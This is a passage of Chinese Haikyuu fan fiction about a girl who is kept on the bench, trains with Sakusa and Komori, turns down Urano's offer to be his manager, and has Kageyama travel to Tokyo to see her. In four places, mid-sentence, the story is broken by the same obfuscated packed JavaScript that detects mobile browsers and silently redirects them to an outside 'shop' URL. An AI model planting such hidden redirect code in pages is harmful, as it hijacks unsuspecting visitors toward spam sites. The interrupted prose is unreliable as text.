毕竟一般情况下，他都是毒舌的那个，不止一次被古森说过“把口罩带上就不要说话了好吗”这种话。 教别人打球，做这种事，还是……第一次。 完全、完全不知道应该怎么回应。 只能呆呆地像柱子一样站在那边，不自觉地用可以称得上是温柔的目光，看着面前表现出非常高兴的样子的女孩子，但是什么话都说不出口。 但他的眼里也无意间露出了星点般细微的笑意。 “哎呀，不要这么见外嘛，”古森元也终于决定插话，对着雪村说着，“我也可以教你一传啊，这有什么……” 你小子倒是说些什么啊！要人家女孩子在这里鞠躬多久啊！ 古森心急地想着。 雪村的眼睛弯弯的，也对着古森元也真诚道谢，收获后者不好意思的脸红。 “也太感谢您了，古森前辈……” …… 和两位前辈约定好了每个空闲的周末、还有每天晚上结束队内训练后的半个小时，作为帮助她训练的时间。 雪村夜芙开始思考是不是应该做些什么，或者准备什么礼物来作为回报。 但是没过几天，她就发现根本不需要了。 “佐久早前辈的人气很高啊……” 雪村夜芙抱着排球刚刚结束晚上的训练，隔着四号体育馆的玻璃，看着被叫出去的佐久早圣臣这么说着。 高挑好看的女孩子向他送上亲手做的甜点什么的。 站在她身边一起看热闹的古森元也挠了挠头，想着要怎么帮那小子开脱一下。 “啊，虽然但是……圣臣他对这些礼物其实很苦恼的啦。” 每天都会有粉丝送来慰问品和礼物，但那些东西对佐久早来说却完全是一种负担。 真是个好运又冷漠的家伙啊，古森有些羡慕地想着。 “这样啊……” 于是雪村夜芙毫无负担地打消了给佐久早前辈挑选感谢礼物的想法。 她转而看向了古森元也，“那古森前辈有什么喜欢的礼物吗？” 古森猛的转头看她。 “……诶？！” 34.是重要的事 和两位前辈的训练进行地很顺利。 因为有佐久早圣臣——全国排名前三的主攻手的“无私”帮忙，雪村完完全全感受到了自己的进步。 那些原本困惑她很久的、甚至有些说不清的问题，在遇到佐久早以后都很轻易地被他解决了。 黑色卷发的高大男生，每次都皱着眉头耐心听雪村说着那些她自己觉得“总是做不好”的地方，听完后就会安静地点点头，然后拿起一颗排球打出去，再回头问她：“是想要打出这种球吗？” 每到这种时候，佐久早就会收获一个满眼期待地看着他的雪村夜芙。 在这样的目光下，佐久早最开始会有些不自然，后来渐渐习惯，但都会一边示范一边更加仔细地给雪村讲解，再让她自己去试着做到。 而雪村夜芙总能很快理解佐久早说的技巧。 她对排球的理解能力本来就不差，毕竟小时候最常做的事情就是看着妈妈和哥哥打排球——是这样子长大的。 近乎完美又毫无隐瞒的主攻手佐久早，和技术略显生涩但悟性极高的雪村夜芙。 虽然连自己都觉得有些意外，但是他们比想象当中的更加合拍呢。 于是每天晚上的半小时，对他们来说好像只是一瞬间的事情而已，过得实在是太快了。 …… “明天就是春高预选赛正式开始的日子了，大家都做好准备。” 三号体育馆的球场上，宫下由纪的目光落在面前这群女孩子，最后有意无意定格在了雪村夜芙的身上。 “不早了，回去休息吧。” 女排的大家应声解散，宫下由纪也先离开了。 雪村夜芙在听到这个消息之后低着头微微失落了几秒，但很快又扬起了脸。 眼底的脆弱一闪而过，取而代之的是强装出来的镇定。 三号体育馆外，佐久早前辈和古森前辈并没有来，看来男排那边的训练还没有结束。 雪村夜芙这么想着，于是拿起放在球场边的背包，往四号体育馆走去。 先结束队内训练的人去找对方，是这些天他们达成的默契之一。 但今天，赶在雪村之前找到佐久早的人是宫下由纪。 双臂环在胸口，看着结束训练后在洗手台前洗完了脸，又开始仔仔细细洗手的佐久早圣臣，宫下由纪嫌弃地啧了一声。 “不是还约了女孩子继续训练吗？”宫下由纪好笑地说着，“洗这么干净是在做什么啊？” “白费力气。” 佐久早圣臣洗手的动作停了下来，湿漉漉的脸转过去看宫下由纪，连睫毛上都还挂着水珠。 对于宫下会来找他这件事并不感到很意外，佐久早只是面无表情地叫她，“……姑母。” 宫下由纪，是佐久早老爸又敬又怕的姐姐，她的女儿也是让佐久早圣臣和古森元也都头疼的表姐。 宫下走上前拍了拍佐久早的背，夸道：“目前看着似乎进展还不错，那孩子很有进步。” “总之——既然已经选择了去教人家，那就给我‘一直’好好教下去啊。” “不过元也也经常和你们一起训练，让我稍微放心一些……” “……”这算什么好话吗？ 就算只有他一个人帮雪村训练也完全没问题好吗？ 佐久早心想着，但是并没有说出口。 “对了，这个周末音叶说让你去家里陪她看电影。”宫下忽然提起另一件事。 佐久早一听到这种话，整个头都已经开始痛了。 音叶就是他和元也的表姐，因为即将出发去国外学习编导，最近总是很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201104|137059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 热衷抓他们一起看电影。 “拜托，看这种经典的欧美情感片，身边没有一个帅哥在的话，我要怎么投入嘛？！”——这是音叶表姐的原话。 上一次佐久早不幸被抓，对他来说明明整部片子无聊到很好睡，结果播完以后表姐哭得惨兮兮地说着“他们就这样错过了太难过了吧”，然后把擦过鼻涕的纸巾随手丢在沙发上。 那团纸巾距离佐久早圣臣只有一公分。 他简直要疯掉了。 回想起恐怖经历，佐久早坚决拒绝。 “……不去，”他找到了很合适的理由，“我要陪雪村训练。” 顺便也难得好心救古森一命：“元也也不去，他要来帮我们托球。” 连佐久早自己都没有意识到，原来帮雪村夜芙一起训练，已经成了对他来说很重要的事。 “……” 雪村夜芙赶到四号体育馆的时候并没有看到佐久早，只有古森正在帮着新入部的一年级生练习。 没有去打扰他，雪村只是自己找了个地方练球保持手感，等着佐久早的出现。 就算现在她还没办法站到球场上去，但是只要这样日复一日的坚持训练下去—— 雪村夜芙深吸了口气，一边向上托球一边想着，她迟早会拿到机会的。 一定会的。 等看到戴着口罩的高大男生重新出现在球场上，雪村夜芙连忙接住了球，忍不住向着他小跑了过去—— 她迫不及待想要变得更好。 而佐久早圣臣看着径直向自己跑来的雪村夜芙，忽然觉得有些呼吸不过来，脸上的皮肤也一寸一寸在变热。 一半遮在黑色卷发之下的他的耳尖微烫。 口罩也没有用……一定是因为太热才导致的脸红，一直蔓延到了他的颈间。 35.冰水 五月，东京都区域的春高预选赛就正式开始了。 作为上一届的冠军，井闼山女排并不需要参与第一轮的比赛，而是作为种子队伍直接和第一轮的优胜方进行对决。 但是球场上训练的气氛还是更加紧张了起来。 尤其是正选的队员，都保持着极高强度的专注力。 一些琐事就全都拜托给了非正选的替补队员。 随时清理球场、补充用水、准备毛巾…… 雪村夜芙动作很快地帮着大家做着这些准备，除了“认真”之外，脸上看不出什么特别的神色。 也只有偶尔看到正选队员之间配合着打比赛的时候，会流露出些许的羡慕。 傍晚的训练结束后，宫下对着刚刚结束队内赛的正选总结着刚才的失误，雪村夜芙推着球筐在边上捡球，一边仔细听着分析，一边自己思考。 刚才那场队内赛，右场的二传和主攻在配合上看似没有问题，但其实有着很大的缺陷—— 她们配合能打出的球路太单一了，因此被对方轻松预测并拦网得分了——这是之前佐久早前辈教过她的。 所以如果是她的话……雪村心想着，她应该会在第三次进攻的时候要一个高球，然后出其不意地更改球路吧？ 但她也只能这样想想而已。 啊……每天都好想去堂堂正正地打一场比赛啊。 宫下由纪看了一眼赌气着用力把地上的排球捡起来丢到筐里的雪村夜芙，假装什么都没有察觉，但心里有些欣慰。 这种不甘心的情绪，对球员来说反而是一种好事，是拼命想要赢的动力。 再更加不甘心一点吧，等到真的站到场上那一刻，才能变得更加强大。 …… 井闼山的排球部，不论是男排还是女排，都是以夺冠作为目标的，因此东京都区的春高预选赛，能够胜出对他们来说是理所当然的。 而过去很多年，他们也确实都拿走了东京都唯二的参赛名额之一。 这一次也没有例外。 井闼山女排以大优势赢下了半决赛，并且会在几天后迎来东京都预选赛的决赛。 她们已经拿到了春高全国赛的入场券。 雪村夜芙在替大家高兴的同时，心中的失落感也越来越强烈。 在进入井闼山之前、还在北川第一的时候，能够打进县内决赛对雪村来说是不敢想象的事情。 而进入井闼山以后，虽然她是胜者那一方的队员，但这样平白得到的胜利总觉得与她无关。 两种不同但又相同的无力感。 而除了参加比赛之外，女排的队内训练也完全没有落下。 “那个，雪村？”刚刚打完半场训练赛，正在休息的入江绫忽然叫住了她。 “是！”雪村夜芙连忙跑了过去。 “队长，有什么事吗？” 看着面前无比认真在做事的女孩子，入江绫忽然有些后悔叫她。 但是因为这个后辈不论做什么都太靠谱了，她下意识就…… “啊，是这样的……”入江绫有些不好意思地说着，“天气越来越热了，可以麻烦雪村你帮忙准备一些冰水吗？” “也不要太冰的水，就是比现在凉一点的那种就可以。” “这样的话，解暑和解渴就都刚刚好了。” 雪村夜芙反应了一会儿，然后点头应了下来。 “好的，没问题！” “下一次装水我会注意的！” “好，麻烦你了！” 雪村夜芙冲着她笑了笑，然后抱起地上已经被使用过的水壶，转身往体育馆外走去。 转身之后的那一刻，她的笑容就渐渐消失了。 咬了咬唇让自己冷静下来，雪村夜芙在心里催促自己——快点换完水的话，才能回来继续观摩比赛。 抱着六七个水壶走到了之前装水的地方，雪村才发现那里并没有冰水，只有常温水，忽然一下子又有些无措了。 她要去哪里……换冰水？ 真是的，为什么没问清楚就跑出来，再回去问的话，花费的时间反而会更长。 正自责不已，雪村夜芙身后有人影一步步靠近。 “你在这里做什么？” 井闼山男排刚从外面打完比赛回来，浦野和希在大家都下车以后才一个人走在最后面，刚好看见从三号体育馆匆匆跑出来的雪村夜芙。 还有她手里那一大堆的水壶。 “……” 不管是谁，雪村夜芙都不想让任何人看到自己现在在做的事。 但是和之前的态度完全不同，今天的浦野和希，似乎变得……温和了很多？ “接水？”就算雪村不说，浦野也自言自语说了下去，“我帮你吧，能快一点。” 他从雪村夜芙怀里拿了两个水壶，而雪村根本没有手去阻止。 “要……冰水。”看他好像真的要帮忙的样子，雪村夜芙轻轻说着。 浦野和希脚步一顿，转过来对她说：“冰水要在一号体育馆那边的饮水处才有。” 说完他走在了雪村前面，准备带她过去。 雪村夜芙想了想，还是没有拒绝，小声说了谢谢。 在一号体育馆的饮水处换完了所有的水，雪村夜芙没再让浦野和希帮她拿，而是全都抱在了自己怀里。 “谢谢……但是不能再麻烦你了，我自己送回去就可以。” 浦野和希抿了抿唇，没再坚持。 雪村夜芙只想赶快回去，但果然还是被他拦住了。 “东京都的半决赛，”浦野和希说着，“我赢了。” “……我们已经拿到了全国赛的入场资格，也会继续向冠军的位置发起挑战的。” 雪村夜芙回头看了他一眼，然后点了点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211306|137059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，说着：“祝你好运。” 浦野和希忍不住往她那边走了几步，满眼都是固执，“我是说，我会……因为你，很努力去拿下冠军的。” “所以，来当我的经理。” 拿下第一，带着雪村夜芙一起站到最后的球场上什么的。 这是自从那天夜里雪村帮过他以后，浦野和希一直想实现的……或许可以称为愿望的东西？ 赢下比赛拿到冠军，成为她眼中最厉害的二传，和她站在同一个队伍中。 而为了这样的有些说不清原因的愿望，这几天的比赛和训练，浦野拿出了自己的百分之一百，也比之前更加忍耐。 雪村夜芙虽然觉得浦野的话很奇怪，但是她的回答却不可能变。 “……抱歉。” 浦野想也不想地脱口而出：“就算有佐久早前辈帮你训练，但是……但是你知道一直上不了场的人有多少吗？” “如果你只能一直做这种替补的工作怎么办？” “……”雪村夜芙猛得转过身，情绪乱到像是被人不小心踩了一脚的猫。 “不管怎样——”下唇咬出深印，雪村夜芙认真地看着他：“我都不要去当你的经理。” “就算最终结果证明我真的做不到去打比赛，也没有人可以让我现在就放弃。” “而且，没必要说‘为了我拿第一’这种话，”雪村夜芙一字一句地把话说清楚，“我不需要。” “你原本也不是为了我才去赢比赛的吧。” “……” 他们两人之间忽然就寂静了。 浦野和希落在雪村身上的目光有了一丝困惑。 他困惑为什么雪村不愿意当经理，明明想当经理的人多到数不过来。 但更让他感到困惑的是——他忽然也不知道，自己到底是为什么才这么努力想要赢下比赛……？ 他的人生，不是生来就被规定好了要打排球吗？ 甚至从有记忆开始就被教导着，打排球是比吃饭和睡觉还要重要的事。 可是，到底是为了什么…… 从来没有人告诉他为什么一定要赢球，他只是一直一直被要求这么去做而已啊。 而他好不容易才为自己找到了一个努力赢下去的理由，好不容易才想要为此去努力做到。 她却说——“不需要”。 浦野和希艰难地开口，“我不会放弃的，如果你改变了主意，随时——” ……来找我。 浦野的话没有说完，就眼睁睁看着雪村转身直接走掉了。 关于这个问题，雪村夜芙觉得自己已经反复回答地够清楚了，她不想再浪费时间和他争辩。 浦野和希看着雪村的背影，在原地独自沉默了一会儿，然后走向男排训练的三号体育馆。 他会证明自己说过的话的。 会让雪村夜芙相信的。 36.是想念吧 半个月后，东京都和宫城县的春高预选赛全都结束了。 井闼山的男排和女排，不出意料都是东京都区的冠军，准备进军全国。 为了让佐久早前辈和古森前辈更专心地准备全国的春高赛，雪村夜芙主动取消了和他们的夜间训练。 对于别人的善意，她不想过多的占用。 而且随着最后的比赛越来越近，她的情绪也不可遏止地愈加低落。 她害怕这样的情绪会被亲近的人发现。 明明想要成为在球场上自由扣球的人，结果却成为了自怨自艾的人——她不想被这样认为。 只是就算她再努力，情绪也无法完全被隐藏的。 这样的自己，好想躲起来。 雪村夜芙匆匆结束了今天的训练，晚上九点，在助教宣布解散以后就离开了三号体育馆。 走在回宿舍的路上，她双手的指甲用力掐着自己的手心，脑子里的思绪很乱很乱，直到—— Line收到了一条简讯，显示来自影山飞雄。 春高开始以后，因为怕打扰对方练球，他们已经很久没有联系过了。 和影山飞雄的对话框上，很久前雪村没发出去的那条简讯还留在上面。 那时候的她心里想着这样的话，并且写了出来—— 【我有一点想见你】 ……其实现在也是。 收到简讯后，雪村夜芙在夜色里站定，仔仔细细读着影山飞雄发来的消息。 他告诉雪村说，乌野赢下了宫城的春高县决赛。 他们拿到了县内唯一的进军全国的资格。 雪村夜芙一遍遍读着这条简讯，想象着影山飞雄赢下比赛后的样子，忍不住弯了弯嘴角。 赢了比赛一定很开心吧？ 这种时候影山才会好好得笑出来，不是刻意的那种奇奇怪怪的笑。 很可爱的。 这样想着，影山飞雄的下一条 Line简讯又发了过来。 雪村本就不多的笑意僵在了脸上。 …… 宫城，同样的夜色里。 影山飞雄坐在家门口的台阶上，有些忐忑地一直看着Line上他和雪村的对话框，其他什么事都不想做，脑子里忍不住在乱想。 这个点了，雪村她还在训练吗？ 第一次参加春高，压力会不会很大…… 她是不是没收到消息，还是没有注意啊？ 三分钟了，为什么还没回复他…… 手机屏幕每次暗下去一点，影山飞雄的指尖就快速把它点亮，眼睛一错不错盯着屏幕看。 …… 而雪村夜芙愣愣地看着屏幕，内心忍不住有些慌乱。 影山他……问她的春高打得怎么样。 可是她要怎么回答？ 回答他，其实她连正选都没有选上吗？ 她不想，一点都不想让影山发现这种事情。 他那样的人，完全想象不出来吧，有人能够差劲到连上场比赛都做不到。 雪村夜芙看了看周围，四下无人，于是选择在路边的长椅下坐了下来，专心想着要怎么回复。 而眼睛落在之前编辑好的简讯上，她又是一阵发愣。 他们……分开多久了呢？ 一个月？还是两个月？ 总之感觉，过了很久很久啊。 忍不住把原来那句话当中【一点】这个词删掉，改成了—— 【我真的好想见你】 被黑暗笼罩的夜色下，她眼睛红红的写着这样的话，写完以后又继续看着屏幕发呆。 手指在【发送】键上悬空停留了很久。 终于在她的情绪没有控制好的某一秒，指尖落下，简讯就这样被发了出去。 雪村夜芙吓了一跳，忍不住站了起来，慌忙把这条简讯给撤了回来。 应该……应该没有看见吧？ 她撤回的速度应该算很快…… 影山飞雄依然还坐在家门外，在收到讯息那一刻感觉指尖都有些发麻。 他连忙去看，然后整个人呆住了。 下一秒，他想再读一遍这短短几个字的时候，简讯又被撤回。 他慌忙从台阶上站了起来。 反复刷新对话框，那条讯息还是不见了。 影山飞雄忍不住把手机举高——怀疑是通讯的问题，整个人着急无措地像是丢了最爱的玩具的小孩。 还是……没有。 没有，找不回来了。 紧接着，雪村夜芙的下一条简讯发了过来。 【打进全国了呢！】 这是对影山飞雄询问她关于春高的状况的回答。 井闼山女排确实打入了全国，虽然和她其实并没有什么关系。 但她也只能说到这了。 而对此刻的影山来讲，什么春高什么比赛全都已经不重要了。 他在乎的是那句好像根本就没有存在过的话。 影山飞雄呼吸急促，手指忍不住落在了名为【夜芙】的电话号码上，然后不受控制地按了下去。 他拨通了这个想了很多次很多次的电话。 下一刻，几百公里之外。 雪村夜芙看着来电的名字，小心翼翼点了【接受】。 电话接通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221605|137059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 “雪村……夜芙。”影山飞雄在电话里这么叫着。 每次他想叫她的名字的时候，就会连名带姓的一起念出来，因为只叫名字的话，会显得很唐突。 但是只叫姓氏的话，他又觉得远远不够。 “我……乌野打进全国了，我可以来东京了。”影山飞雄笨拙地复述自己刚才发过的简讯。 “嗯，”雪村夜芙努力笑着说，“很了不起啊。” “正式打全国赛前，还接到了在森然进行的合宿邀请。”影山飞雄结结巴巴说着。 “所以，我能不能……提前来见你？” 上一次分开的时候，是在井闼山的停车场，那时候雪村和他约定过，要在东京体育馆前见面什么的。 但是影山飞雄忽然觉得时间变得好长，真的很难等。 他迫不及待想要见到雪村。 自从他们认识以来，从来没有分开过这么久不是吗？ 明明没过多久，却好像过了好多年一样…… 影山想不起来那个成语是什么了，但他确实这么感觉到了。 完完全全没办法去习惯这种事。 电话那头，雪村夜芙愣了一愣。 她当然想见到影山，要不然也不会控制不住地发出去那样的简讯了。 但是……她还没有准备好告诉影山，她不是正选什么的。 对越在意的人，这样的事越不想让他知道。 “啊……不、不了吧？”雪村夜芙勉强笑着，“全国赛很快就开始了，你还是抓紧时间训练比较好？” “……” 影山飞雄抿了抿唇，很想问刚才那条撤回的简讯的问题。 雪村她到底是不是也想要见到他？ 这个问题——影山飞雄忽然觉得，对他很重要。 或者说，他终于发现自己有多想要见到雪村了。 于是第一次，影山飞雄决定不听雪村的话。 她不让他去…… 可是他想去，如果可以的话甚至现在就想去。 …… 就算再舍不得，电话也要挂断了。 影山飞雄有些闷闷不乐地坐在门口发呆，直到妈妈因为担心迟迟没有回家的他而打开了门。 她吓了一跳。 “这孩子，到家了为什么傻坐在外面不进来啊……” 影山飞雄被妈妈推着往里走。 而井闼山学院里，雪村夜芙在长椅上又坐了一会儿，直到校园最中间那座石灰岩的钟楼里传来钟声。 十点了。 她站起来抬手揉了揉眼睛，然后独自一个人走在黑夜的路上。 37.东京路上 七月，转眼第一学期也到了期末。 乌野排球部的队员最近都很担心，他们家的二传手，好像有些不对劲？ 缘下力担忧地摸了摸影山飞雄的额头，又摸了摸自己的，喃喃道：“没有发烧啊……” 连月岛萤都忍不住担心起了影山飞雄。 “我说——再这么学习下去你的脑子会突然炸掉的吧？” 运行过载什么的啊。 而日向翔阳不甘心在考试中落后给影山，被卷到这几天也非常努力在学习。 最近的影山飞雄，没有在复习课上睡大觉、课本上歪歪扭扭多了很多笔记和折角、就连走路的时候都学会掏出英语卡片本开始背单词了？！ 这还是那个看到字就会头晕的学习苦手影山飞雄吗？！ 而影山飞雄本人，抱着“一定要尽快去见雪村夜芙”这样的想法，很认真地在准备这次期末考试——他绝对绝对不能挂科，因此很努力在学。 而在家里，影山美羽也发现了不对。 飞雄那小子什么时候变得这么勤快了……？ 明明今天轮到她洗碗，那小子居然会抢着帮她做？ 影山美羽高高兴兴去给自己敷了张面膜，然后一边啃着影山飞雄洗好的水果，一边靠在厨房的门上漫不经心说着：“喂，你小子一定有什么麻烦事要找我求救对不对？” “要不然干嘛这么献殷勤。” “趁我现在心情好快点说出来啊！” 影山飞雄原本还没想好怎么开口，结果就听到了这种话，连忙洗干净手上的泡沫，跑到了影山美羽面前。 整个人是难得一见的乖巧：“姐……” 影山美羽本来只是这么随口一说，结果发现自己完完全全说中了弟弟的心事。 她小心翼翼咽下了嘴里的水果，忍不住问：“所以到底是什么啊……” 不会在外面闯了什么大祸吧？！ “……” 因为想要提前一天去见雪村夜芙，影山飞雄并不打算和大家一起坐大巴车去东京。 但是这样一来的话，他就只能自己提前搭新干线过去了。 而从仙台到东京，新干线的票价是他平时的零用钱没有办法承担得起的。 “啊……原来是因为这个啊，”影山美羽恍然大悟，“和之前周末要陪的女孩子是同一个对吧？” 影山美羽难得觉得自己弟弟顺眼了不少，还是很专一的嘛。 “原来那个女孩子后来去东京了啊，怪不得——” 怪不得前段时间的周末都看上去很失落的样子。 为了增加零用钱额度，不得不把原因和盘托出的影山飞雄，忽然也觉得有些不好意思。 影山美羽倒是没觉得有什么，只是抬手用力揉了揉影山飞雄的头，坏笑着问他：“所以是要申请恋爱经费咯？” 听到这样子的话，影山飞雄的耳朵一下子变得好红。 “不……不是的……”他很无力地反驳着。 “只不过是……车票什么的……” “少在那边嘴硬了啊，”影山美羽挑了挑眉，“好在你有一个事业有成的姐姐，真是幸运啊……” “说吧，想要多少零用钱啊？” “……” 进入七月后不久，绝大多数高校都结束了期末考试，暑期也马上就要开始了。 考完最后一科，乌野的大家回到体育馆训继续训练，需要担心考试的那几个笨蛋也从萎靡不振重新变到活蹦乱跳。 武田老师也已经跑来通知过了。 等明天期末考试成绩公布、确认不需要留下来补习的话，后天一早大家就可以坐大巴出发，去森然参加暑期合宿。 但是影山飞雄早就决定好了，他要在明天一早，提前一天去东京。 他昨晚笨拙地在JR上预定新干线的票的时候，影山美羽还很好奇地问：“你确定考试可以全都通过吗？” 还需要姐姐帮忙付账的影山飞雄稍微有些心虚地点了点头。 影山美羽意外地挑了挑眉，没再说什么就用自己的信用卡帮他付了款。 “好吧，看在你这么心急的份上——” “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233722|137059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就相信你这一次啦！” 第二天一早，天空中阴云密布。 影山家的墙上，时钟的指针指向清晨六点五十分。 “哎呀，偏偏是今天，天气很不好呢。”影山妈妈在厨房喃喃自语着，然后回头对着客厅的方向喊了一句：“飞雄，记得带上伞哦。” 影山飞雄应了一声，单手拿着夹煎蛋的生吐司在嘴里啃着，另一只手拿起挂在门后的折伞打算放进包里。 他今天的包很重，东西很多。费了一点力气影山才把折伞艰难地塞进了背包的角落里。 但是这样的话，便当盒就放不下了。 影山飞雄为难地看了看桌上的便当，又看了看塞得满满的背包，决定假装忘记。 “我走了。”影山飞雄快速换好鞋，然后抓起背包就往外跑。 客厅传来门被打开又被关上的声音。 “诶？这么早就走吗？” 影山妈妈从厨房出来，一眼就看到了被留下的便当盒，连忙拿起便当打开门，结果外面已经完全看不到人了。 “这孩子，真是的啊。” “怎么今天走得这么急？” “路上饿肚子了怎么办啊……” 在家门口不远的公交站台等到巴士，搭乘巴士去仙台车站，再从仙台车站坐新干线到东京站下车。 在东京站下车以后，去车站一楼乘坐地铁前往东京西部的世田谷区。 下了地铁，再坐上半小时的电车，最后步行二十分钟就可以抵达井闼山学院了。 影山飞雄在心里默背着路线，因为是第一次一个人进行这样的旅途，其实还是会因为陌生而有些紧张。 但是只要一想到可以见到雪村夜芙，忽然也就不害怕了。 努力打进全国就可以去东京，努力不挂科就不会被留下补习。 努力想见的人，就一定可以见到。 影山飞雄将背包背在前面护在自己的怀里，不让背包被身边穿越的熙熙攘攘的人群挤到。 为许久没有见面的雪村夜芙，影山飞雄笨拙地准备了礼物。 38.是雨天 仙台到东京的新干线车程大约是两个小时。 结果算上等车、搭乘巴士、地铁和电车的时间，还有走错路、迷路浪费掉的时间，前前后后加起来居然用了很久。 东京这边还在下小雨。 在世田谷区下了地铁以后，为了赶上很快就要发车的电车，影山飞雄没顾得上撑伞，一头就扎进了雨里，往电车的方向跑去。 那个很重的背包仍然被护在怀里，影山飞雄担心它被雨淋湿。 等影山飞雄终于走到井闼山学院门口的时候，已经是下午5点了，而且整个人都因为赶路看上去有点狼狈。 结果还被学院的警备人员拦在了外面。 正在想办法到底要怎么进去的时候，影山的手机上收到了学校发来的期末成绩通知，紧接着就是武田老师的电话。 “啊，影山同学！你这次考试成绩真的很棒吧？恭喜你啊。” “那么别忘了明天在体育馆前集合，去东京集训这件事……” “那个……武田老师……”影山飞雄结结巴巴地打断了他，“我想请您帮个忙……” “……”在办公室勤勤恳恳加班的武田一铁有种不好的预感。 影山飞雄磕磕绊绊地说明了自己已经抵达东京的事实—— 人在井闼山学院门口，并且无论如何都很想要进去。 虽然对影山这种冲动的行为有些生气，但是武田一铁也完全没办法放着他不管。 几经周折，武田终于联系上了井闼山的教练，一边道歉一边说明了情况，拜托教练帮忙照顾一天，然后又通过那位教练的话才让警备人员把影山飞雄放了进去。 “影山同学，”武田一铁在电话里严肃地说着，“这件事情，等你从东京回来以后我们需要再重新谈过。” 影山飞雄在电话这边站直了身子，说着“我一定会回来向您反省的”这种话，然后对着空气深深鞠了一躬。 三号体育馆。 在春高全国赛开始之前，很多队伍都赶来东京参加合宿训练。 而井闼山女排作为常年的优胜队伍备选，答应了不少强队的训练赛请求。 今天的对手是关西的强队。 快到下午六点的时候，两支队伍还在打最后一局。 雪村夜芙仍然没有在场上，只是在边上认真仔细地看着比赛，然后在比赛中途暂停的时候，努力打起精神给大家送去毛巾和冰水。 有些混乱的球场上，她没有注意到已经走到了三号体育馆门口的那个人影。 影山飞雄的身影。 按照春日合宿的记忆，影山很容易就找到了井闼山的体育馆这边。 路过之前他们合宿的时候用过的四号体育馆，在边上的三号体育馆里，他就看到了正在打比赛的女子排球部的人。 然后……也看到了并没有上场打球、还在暂停以后帮忙做着琐事的雪村夜芙。 看到雪村的那一刻，影山飞雄的眼睛一下子就亮了起来，但也隐隐有些担忧。 雪村她，好像并不开心。 而且为什么……没有被允许上场比赛……？ 影山愣了几秒才反应了过来，雪村她并没有被选为正选。 这样的发现让影山飞雄忍不住握紧了手，修剪的很整齐的指甲在手心皮肤上留下了深深的凹痕。 眼睁睁看着站在替补位置上的雪村夜芙，他感觉心脏像是被什么抓住、又拧成了一团一样难受。 场上的比赛在短暂的暂停后继续，而站回了球场边的雪村夜芙终于看到了门口的影山飞雄。 “……” 雪村夜芙整个人都恍惚了。 仔仔细细看着不远处站着的人，她希望是自己看错，但是——真的是他，真的是影山飞雄。 是她现在明明很想见到，但是又最害怕见到的人。 不是说了，让他不要来的吗？ 雪村夜芙有些难受地想着，被影山飞雄发现这样的事，这种……自己因为好笑的自尊心所以不敢说出来的事。 怎么会这样……？ 雪村的牙齿紧紧咬住了下唇，没有让自己在瞬间崩溃掉。 十分钟后，训练赛结束。 简短说了几句话，教练宣布解散，大家都离开球场去吃晚饭。 很快，这座体育馆里已经没有什么人了。 但是雪村夜芙并没有走，她只是低着头装作收拾东西很忙的样子。 影山飞雄犹豫了很久，最终还是向她走去。 余光看到向自己走来的背着包的黑发少年，雪村紧张到失手打翻了放得好好的水壶，而其中一个刚好滚到了他的脚边。 影山飞雄立刻弯腰捡了起来，帮着放回了原来的地方。 “夜芙……”影山飞雄小心翼翼喊她的名字。 雪村夜芙身体僵了僵，还是咬着牙假装没有听见，也没有抬头去看影山，而是快速转身往体育馆外走。 完全……完全不想被这样子看见。 不可以，真的不可以。 被刻意忽略的影山飞雄有些慌乱，眼神无措地看着雪村的背影。 他愣了一会儿后，还是小跑着追了上去，但也没再靠近，只是不近不远地跟着。 而体育馆外，之前的小雨已经变成了一场大雨，伴随着预示盛夏即将来临的雷声。 整个天空都因为阴雨而变得很暗。 不远处的四号体育馆，井闼山男排部的队员也结束训练不久。 雪村夜芙在三号体育馆外的过道上被浦野挡住前路的时候，感觉自己最后一丝理智都要碎掉了。 又要对她说什么去当经理之类的话吗？ 到底为什么要这样对她啊？ 而且这些糟糕的事情，一件一件全都被影山看到了。 她真的……好崩溃。 “走开。”雪村夜芙声音有些沙哑地开口对他说。 浦野和希抿着唇看她，并没有动。 